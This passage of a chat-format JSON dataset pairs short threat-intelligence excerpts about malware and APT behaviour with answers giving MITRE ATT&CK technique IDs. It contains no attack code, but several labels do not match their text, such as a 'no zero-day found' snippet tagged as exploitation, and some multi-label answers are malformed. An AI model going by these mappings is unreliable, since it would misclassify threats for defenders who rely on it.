            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "X-Session: 0\"). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. ChinaChopper web shell. shown in Figure 4, are required to interact with the web shell"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cisco Talos assesses with moderate confidence that a campaign we recently discovered called \"BlackWater\" is associated with suspected persistent threat actor MuddyWater. The findings outlined in this blog should help threat hunting teams identify MuddyWater's latest TTPs. In this latest activity, the threat actor first added an obfuscated Visual Basic for Applications (VBA) script to establish persistence as a registry key. Next, the script triggered a PowerShell stager, likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor. The stager would then communicate with one actor-controlled server to obtain a component of the FruityC2 agent script, an open-source framework on GitHub, to further enumerate the host machine. This could allow the threat actor to monitor web logs and determine whether someone uninvolved in the campaign made a request to their server in an attempt to investigate the activity. Once the enumeration commands would run, the agent would communicate with a different C2 and send back the data in the URL field"
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used  to launch an authentication window for users to enter their credentials."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used a script to iterate through a list of compromised PoS systems, copy and remove data to a log file, and to bind to events from the submit payment button."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos uses RC4 and base64 to obfuscate data, including Registry entries and file paths."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential hopping for obscuring lateral movement - Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation - Stealing browser cookies for bypassing multifactor authentication - Use of the TrailBlazer implant and the Linux variant of GoldMax malware - Credential theft using Get-ADReplAccount"
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts', 'T1550.001 - Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is maintained through a Run registry key"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrossRAT is capable of taking screen captures."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can mimic the names of known executables."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBSRAT can list file and directory information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie uses \"ipconfig /all\" and \"route PRINT\" to identify network adapter and interface information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can download files and additional malware components."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can obtain the permissions of the victim user."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly downloaded tools from a remote server after they were inside the victim network."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, VALUEVAULT will call Windows PowerShell to extract browser history in order to match browser passwords with visited sites."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "kills security tools like Wireshark that are running."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used e-mails with malicious documents to lure victims into installing malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If that configuration is not available, it utilizes a hardcoded configuration in the binary. The tool uses a custom binary protocol over sockets for its command and control communication with the GUP Proxy Tool and all transferred data is encrypted using a modified version of RC4 encryption"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkHydrus has obtained and used tools such as Mimikatz, Empire, and Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has packed tools with UPX, and has repacked a modified version of Mimikatz to thwart anti-virus detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has conducted widespread scanning of target environments to identify vulnerabilities for exploit."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper has the ability to corrupt disk partitions, damage the Master Boot Record (MBR), and overwrite the Master File Table (MFT) of all available physical drives."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The datasets included:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Script to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  We analyzed each type of dataset other than the documents containing detailed information on alleged OilRig operators and they remain consistent with previously observed OilRig tactics, techniques, and procedures (TTPs)"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The orchestrator is the main component of the Carbon framework. It is mainly used to inject code into a process that communicates legitimately over the Internet and to dispatch the tasks received from the injected library to other computers on the same network either through named pipes or TCP"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .scr file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analysed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrailBlazer has the ability to use WMI for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can collect the username from the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads a PowerShell script that decodes to a typical shellcode loader."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The program copies itself as &lt;Hangul full path&gt;HncReporter.exe and changes the default program association in the registry to open HWP documents. To do so, it alters following registry values"
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkComet has the option to compress its payload using UPX or MPRESS."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A copy of the initial EXE for GuLoader is made persistent, then the original is deleted from the infected user’s AppData\\Local\\Temp directory where it was originally saved. The GuLoader EXE is persistent through the Windows Registry under the following key"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes net start after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The samples analyzed are packed with UPX. The UPX header has been modified to break the unpacker provided by the UPX project. Instead of having the “UPX. string, it has been replaced with “LSD. Repairing the header is needed to unpack the samples using the unpacker provided by the UPX team"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "overwrite or delete MBR in same sentence"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete a specified file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has enumerated hosts, looking to obtain a list of all currently running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HTTPBrowser is capable of writing a file to the compromised system from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PHP malware achieves persistence by adding scheduled tasks on the host to execute daily and at regular intervals. At the same time, a generated TMP file runs a parallel process to launch the stealer component."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used \"AUDITPOL\" to prevent the collection of audit logs."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encrypting communications using AES and RSA public key cryptography   5"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C&C domain android[.]viral91[.]xyz, where the malware was connecting to also shows that it is very likely that the APT team uses subdomains to host or connect to Android malware. In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.]xyz domain."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains', 'T1583.001 - Domains', 'T1587.001 - Malware', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT28 loader Trojan will enumerate the victim's processes searching for explorer.exe if its current process does not have necessary permissions."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. For more information on infection via service providers see M-Trends 2016). APT10 spear phishes have been relatively unsophisticated, leveraging .lnk files within archives, files with double extensions (e.g. Redacted]_Group_Meeting_Document_20170222_doc_.exe) and in some cases simply identically named decoy documents and malicious launchers within the same archive"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can decrypt, unpack and load a DLL from its resources, or from blobs encrypted with Data Protection API, two-key triple DES, and variations of the XOR cipher."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In total, nearly 13,000 sets of credentials are included in the data dump"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Are the attackers using any zero-day vulnerabilities? No zero-day vulnerabilities have been found in the analysis of the samples obtained regarding this campaign"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads files onto infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer has used RC4-encrypted strings and string hashes to avoid identifiable strings within the binary."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro decodes the dropped files using Windows certutil.exe with the following commands (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can use `uname` to identify the operating system name, version, and processor type."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "likely in an attempt to masquerade as a red-teaming tool rather than an advanced actor"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT relies on a specific victim hostname to execute and decrypt important strings."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has leveraged multiple types of spearphishing in order to attempt to get a user to open links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evilnum has used a component called TerraLoader to check certain hardware and file information to detect sandboxed environments."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Woburn, MA – May 7, 2018 – Kaspersky Lab researchers have discovered a new variant of the SynAck ransomware Trojan using the Doppelgänging technique to bypass anti-virus security by hiding in legitimate processes. The developers behind SynAck also implement other tricks to evade detection and analysis, obfuscating all malware code prior to sample compilation and exiting if signs suggest it is being launched in a sandbox"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple is an IIS post-exploitation framework, consisting of 18 modules that provide several functionalities."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "njRAT can collect data from a local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As soon as the proof-of-concept (PoC) for CVE-2020-9054 was made publicly available last month, this vulnerability was promptly abused to infect vulnerable versions of Zyxel network-attached storage (NAS) devices with a new Mirai variant – Mukashi."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has used VBScript to execute malicious commands and payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They are known for “living off the land,” meaning they use already available tools and software installed on the computer to operate, and once inside a target network, they will tailor their malware specifically to the target"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 drops a Windows shortcut file for execution."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has gained access through VPNs including with compromised accounts and stolen VPN certificates."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon identifies files matching certain file extension and copies them to subdirectories it created."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the \"instal.xml\" file began execution, it would deobfuscate the base64-encoded commands. This revealed a stager, or a small script designed to obtain an additional payload. One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. A copy of the deobfuscated stager can be seen in the image below"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has loaded and executed DLLs in memory during runtime on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can use `cmd.exe` for execution on remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Among infostealers used by the Kimsuky group, some samples have been found that use FTP to download additional malware after logging infected targets to the C&amp;C [14, 15"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While investigating the domains and infrastructure used by the phishing components of Gorgon Group, Unit 42 researchers witnessed several common operational security flaws with Gorgon Group's actors throughout their many campaigns. It was one of these OPSEC failures that gave us an interesting cross-section of malware Gorgon Group is using. Included in the directories were a combination of files leveraged in targeted attacks mentioned above against nation states. Additionally, there was a plethora of malware samples that were criminal in nature"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ABK has the ability to decrypt AES encrypted payloads."
            },
            {
